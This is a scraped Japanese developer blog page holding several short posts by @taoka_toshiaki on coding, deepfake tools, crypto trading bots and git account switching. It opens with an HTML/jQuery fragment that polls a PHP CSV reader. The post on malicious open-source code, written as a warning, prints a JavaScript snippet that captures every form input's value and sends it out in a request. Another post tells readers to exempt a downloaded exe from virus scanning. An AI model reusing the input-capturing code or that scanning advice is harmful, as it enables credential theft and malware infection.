<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
<title>CSV</title>
</head>
<body>
    <input type="hidden" name="csrf_token" value="<?=$csrf_token?>">
    <span class="h3" id="cnt"></span><br><br>
    <span class="h4" id="read_csv"></span><br><br>
    <span class="h4" id="debug"></span><br><br>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.1/umd/popper.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js"></script>
<script>
    window.onload = function(){
        read_csv(0,1);
    };
    function read_csv(cnt,reset_flag){
        try{
            $.ajax({
            type: "post",
            url: "./assets/php/class_csv.php",
            async: false,
            data: {csrf_token:document.getElementsByName("csrf_token")[0].value,reset_flag:reset_flag,filename:"dummy.csv",cnt:cnt},
            dataType: "json",
            success: function (response) {
                    if(response){
                        cnt = response.cnt;
                        document.getElementById("cnt").innerText = cnt;
                        if(response.data){
                            document.getElementById("read_csv").innerText = response.data[0] + response.sql;
                            document.getElementById("debug").innerText = cnt ===21?response.data:document.getElementById("debug").innerText;
                        }
                        setTimeout(function(){read_csv(cnt)},0);
                    }
                }
            });
        }catch(e){
            console.warn(e);
            read_csv(cnt);
        }
    }
</script>
</body>
</html>

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

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高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
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尺が短いものが好まれる時代、分かった気になる情報😇。

2022.08.04

Logging

おはようございます、Githubのマルウェアが気になって早朝に情報をチェックしていました。

さて、今の時代、尺が短いものが好まれる時代、分かった気になる情報が世の中に受け入れやすくなっているような気がします。敢えて分厚い本、難解な動画、長文のブログを読むという事をオススメします。短い情報をいろいろな所から収集するよりもニッチな専門家が情報発信しているものを読む方が大事になるじゃないかな。

短い情報は表面上、分かった気になるけど結局、ツマミ部分だけでそのつまみ食いばかりしても中身に到達できないという本末転倒なところがあるじゃないかと思います。なので、それとは反したものが大事じゃないかってね。

【綾部祐二】Interview-Day2(Day1~Day5)
結局のところ努力次第

今からYOUTUBERになろうとしている方でかなり専門知識を持ち合わせている方は短い動画を作るより、長くて上質な情報を流す方が良いじゃないかなって思います。それは殆どの人は見ないだろうけど価値の分かる人には届くと思います。

短いものは消費されて捨てられる可能性がある、それは一瞬の輝きでしか無い気がしてならないです。お手軽な消費されるものを作るよりかは独自性のあるものを作る方が良いと思います。

努力しないで得れるものはないだと思います。地味だけど毎日の勉強が大事です、いろいろな最短勉強方法が巷に溢れているけど、やる気と努力しか他ならないし手を動かしてたり行動して失敗したりして覚えるしか無いだよね。泥臭い事をしている人の方が社会を支えていたりするものです。

著者名  @taoka_toshiaki

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悪意になるコードそうだよねぇ~オープンソース怖い。

2022.06.01

Logging

おはようございます。6月が始まりました。

今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。

【ハッキング入門】キーロギングの仕組み IDとパスワードの取得方法【悪用厳禁】

こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。

コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。

気をつけてくださいな😎

(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}
その発想ない事もない。

著者名  @taoka_toshiaki

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ディープフェイク作り方のヒント的な記事です。悪用厳禁。

2022.05.30

Logging

おはようございます。悪用厳禁、悪用禁止と言っても駄目な気がします。

ディープフェイク作り方のヒント的な記事です、先に答えからfaceswapというツールを使用すれば簡単にディープフェイクの動画は作れてしまいます。これ無料ですからね・・・。

Jennifer Lawrence-Buscemi on her favorite housewives [Deepfake]

本当に凄い時代になったんだなぁって思います。

faceswapのインストール仕方はGさんなどを使用して検索してみてください。あとデベロッパー向けにgithubでも提供されていますので開発者はどんなコードか覗いてみる良いかも知れません。

これからの時代、顔を写真なんかを気軽にUPするのは怖いなって思います、特に女性の方々は注意が必要です、男性も同じですが、、、。

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仮想通貨で自動売買するシステムはAPI知ってたら

2022.04.10

Logging

仮想通貨で自動売買するシステムはAPI考え方知ってたら大体の人が作れるのですが、問題は取引で儲けを出せるかどうかです。そのためにはダミー取引をシステムで作ることから、オススメします😂。

いきなりAPIを取引所で走らせるのはリスクが高いです、ですのでまずは本当に取引はしないで、ダミーで売買をするシステムを作ることからはじめてください。そこで利益が一定指数のあれば実際に取引してみるというのが一番、安全な取引方法かなって思っております。

尚、エンジニアの横山さんがコインチェックのダミー取引のAPIをGithubで公開しています。これでダミー取引部分は作らなくても良くなったと思います。

あとはご自身が取引部分を作るとダミー取引が出来るのでとても便利かと思います。尚、バックテストの部分も自分で作りたい場合は、CryptowatchのAPIを使用することで簡単に過去の取引を収集できるので便利かと思います。

こんな事をしないで、仮想通貨取引所がバックテスト環境も対応してくれたら良いのですがね😌。

因みに自分はまだ自動売買の取引はしていません、いまは自動売買の開発に向けて調査中ってぐらいです。

著者名  @taoka_toshiaki

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素晴らしいコードに出会うという事はとても大事ですよね。夜も眠れません😏

2022.03.22

Logging

おはよう御座います。
素晴らしい世界を聴きながら。

プログラマーにとって技術力を上げるのは多分、向上心があるからだと思います。

さてプログラミングをするにあたって素晴らしいコードに出会うという事はとても大事です。素晴らしいプログラマーをフォローして終わりにしていませんか、彼ら彼女たちのgithubなどを見てみてください。素晴らしいコードに必ず出会います。最初は何を書いているのかわからない事もあるかもしれませんが、その技術を理解すればするほど、これは美しくて素晴らしいコードだという事が理解できるはずです。

森山直太朗‐素晴らしい世界 Music Video

プログラミングは書けば書くほど、上達するというよりはシンプルで無駄のないような方法を見つけ出す思考身につけると上達するという事だと自分は思っています。闇雲に書くだけではそのコードを書く技術力は上がらないと思います。世の中には強者がゴロゴロといます。それらのコードから技術を習得するのが一番の手っ取り早い技術力の上げ方かと思います。そしてそのベースとなるのは基礎が身についているかどうかだと思っています。

著者名  @taoka_toshiaki

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githubの複数アカウントをWindowsで切り替えするbatファイルとexeファイルです。

2022.02.23

Logging

おはよう御座います。今日もあまり日中も気温が上がらないそうです😪。
フルリモートで働く人が多くなってきていますよね、そんな中、githubを仕事用と個人用と分けたい人が多いとかと思いますが、そんな人向けにツールを作りましたので紹介します。

GitHub Arctic Code Vault

githubの複数アカウントをWindowsで切り替えするbatファイルとexeファイルを作りましたので、お裾分けです、どこかのサイトにgithubのアカウントを切り替えるシェルスクリプトが記載していたのですが、自分はWindowsユーザーなのでそれ使えねぇーという事で作りました。

自分用なので、エラー取りはしていません、最低限の処理しか書いていないです。exeファイルの方はzipファイルにしてサーバに置いときます、尚、ご自身の良いような感じでgitdata.datファイルの中身を書き換えてください。考え方はbatファイルと同じです。

batファイルの方はこちらに記載しますので、ご自身でbatファイルを作成してください。尚、Windowsが開発環境になっていない、gitが環境変数に登録されていない場合は動きませんので悪しからず。必ず起動するときはコマンドからパラメーター投げて使ってください。

@echo off
if %1==main (
	git config --global user.name "example"
	git config --global user.email "mail@example.com"
)
if %1==sub (
	git config --global user.name "test"
	git config --global user.email "mail@test.com"
)
git config user.name
git config user.email

exeファイルの注意事項、PowerShellでもcmd.exeでも開けますが必ずgit-name.exeファイルが存在するディレクトリに移動してexeファイルをパラメーター付きで実行してください。

./git-name.exe main
main <==パラメーター
example <==githubのユーザー名
mail@example.com <==githubのメールアドレス

exeファイルのtoolはこちらからダウンロードしてください。
※尚、ウィルススキャン対象になった場合は対象から外してお使いください。

https://zip358.com/tool/git-name.zip

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コードを見れば大体の技術レベルが分かるは本当?しかも、性格も分かる場合がある。

2022.02.07

Logging

おはようございます。今日の朝も寒いですね。。。

朝からcode.orgの動画を見ていたら日本もアメリカもITエンジニアの割合はあまり変わりないみたいな事を知りました、そしてアメリカでも子供たちのなりたい職業1位でもないみたいです。

さて、コードを見れば大体の技術レベルが分かるは本当?しかも性格も分かる場合があるですが、ソースコードを見ると其の人の技術がわかり、変数の名前付けとかで性格もある程度分かってしまったりします。そしてバージョン管理、ファイル管理で仕事に対する姿勢までもが分かってしまったりします。

Computer Science is Changing Everything

なので・・・日頃からご注意ください。自分の場合、Githubのコメントなどを見るとこの人は適当な人なんだなぁって事が分かってしまうかもしれません。唯、仕事に対する姿勢は少し違うかなっていうのはあります。

仕事になるとファイル管理やバージョン管理もこの頃はちゃんとするようになりました。やはり整理整頓は結構大事な要素です。ファイルがどこにいったんだろうとか検索しないでも良いように管理することは大切なことです。昔はごちゃごちゃなファイル管理をしていましたけど(反省)😣。

因みに私生活で使用するパソコンのフォルダ整理は全然ダメダメですね。整理しようと思っているのだけどフォルダやファイル数が多くて大変な感じです(負の遺産が多いです)。

著者名  @taoka_toshiaki

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WindowsやMACのタイピングを表示するアプリと検索すれば!?

2022.01.18

Logging

この頃、気温が若干低いなという感覚があります、昨日なんて寒くてウォーキングを諦めました😌。

さてWindowsやMacのタイピングを表示するアプリと検索すれば、それなりのアプリが出てきますのでそちらを使用してみてください。では、ちょっと冷たいのでメモを残しときます。Macの場合、KeyCastrというフリーのアプリが有名らしいですね、因みにこのアプリ、Githubでしか公開していないので、ターミナルで操作とか出来る人じゃないとインストール出来なそうです。

Notion書きながらKeyCastrでタイピングを表示する

その他にもキーボードのログ(キーストローク)を表示するアプリは存在します。一応、リンクを貼っときますね。こちらから参照ください。👉https://ja.altapps.net/soft/keycastr リンク切れになっていた場合は自分で上記のようなキーワードで検索すれば見つかるはずです。

How To Display Keystrokes On macOS For FREE (Keycastr)

あと、GithubでKeyCastrをインストールする方法の動画も貼っときますね。
https://github.com/keycastr/keycastr

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